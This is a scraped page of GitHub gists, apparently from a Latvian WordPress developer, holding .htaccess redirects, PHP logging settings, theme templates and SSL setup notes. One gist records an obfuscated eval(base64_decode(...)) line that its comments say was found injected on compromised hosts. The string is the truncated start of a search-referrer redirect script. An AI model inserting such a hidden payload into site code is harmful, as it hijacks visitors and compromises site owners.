This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# info: http://darbi.mediabox.lv/?p=444 | |
# noņem www domēna sākumā | |
RewriteCond %{HTTP_HOST} ^www.mediabox.lv$ [NC] | |
RewriteRule ^(.*)$ http://mediabox.lv/$1 [R=301,L] | |
# pievieno www domēna sākumā | |
RewriteCond %{HTTP_HOST} ^mediabox.lv$ [NC] | |
RewriteRule ^(.*)$ http://www.mediabox.lv/$1 [R=301,L] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* atkļūdošana PHP */ | |
ini_set("log_errors","1"); | |
ini_set("error_log","very_secret_log_file.txt"); | |
ini_set("display_errors","0"); /* test enviroment = 1 */ | |
error_reporting(E_ALL); /* http://lv1.php.net/function.error-reporting.php */ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// vairākos failos un (cirslis|cauna).sigmanet.lv | |
// sermulis.sigmanet.lv pagaidām "tīrs" | |
// citi sabojātie kodi nav ievietoti! | |
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$prefix = 'studystart_'; | |
// global $meta_boxes; | |
$meta_boxes = array(); | |
// First meta box | |
$meta_boxes[] = array( | |
'id' => 'skola', | |
'title' => __('School','studystart'), | |
'pages' => array( 'skola',), | |
'context' => 'normal', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Making the default first in WPML's language switcher | |
via http://rahmetli.info/en/making-the-default-first-in-wpmls-language-switcher/ | |
@Todo rolandinsh: clean-up and update | |
*/ | |
// Get language array | |
$list = icl_get_languages('skip_missing=1&orderby=id&order=asc'); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
in case it get lost http://www.jordicals.com/2010/04/how-to-install-a-free-startssl-certificate-in-plesk/ | |
Here I leave you a trick about how to install a free startssl certificate in Plesk. | |
1 .- Validate in Plesk, go to the domain and then click to certificates. | |
2 .- Fill certificate data form (I recommend using 2048-bit), accept and send the request. This will generate the CSR key and private key. | |
3 .- Go to Startssl.com, make an account and go to the control panel. The first thing you must do is validate the corresponding domain at option validations option wizard -> domain name validation. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// hate when premium WordPress themes starts with: | |
function my_script() { | |
// ... some code | |
} | |
// .... | |
function my_script2(){ | |
//... some other code | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
get_header(); | |
do_action('smc_before_main_content'); | |
if(have_posts()): | |
do_action('some_other_action_before'); | |
while ( have_posts() ) : the_post(); | |
get_template_part( 'content', get_post_type() ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
get_header(); | |
get_template_part( 'middle'); | |
get_footer(); | |
/* | |
Copyright 2013 Rolands Umbrovskis ( http://umbrovskis.com/ ) | |
Released under the http://simplemediacode.com/license/ | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- | |
source: http://wordpress.stackexchange.com/a/53516/7577 | |
--> | |
<a id="buy" href="#">Buy this!</a> | |
<script> | |
$('#buy').click(function(e) { | |
e.preventDefault(); | |
addToCart(19); | |
return false; | |
}); |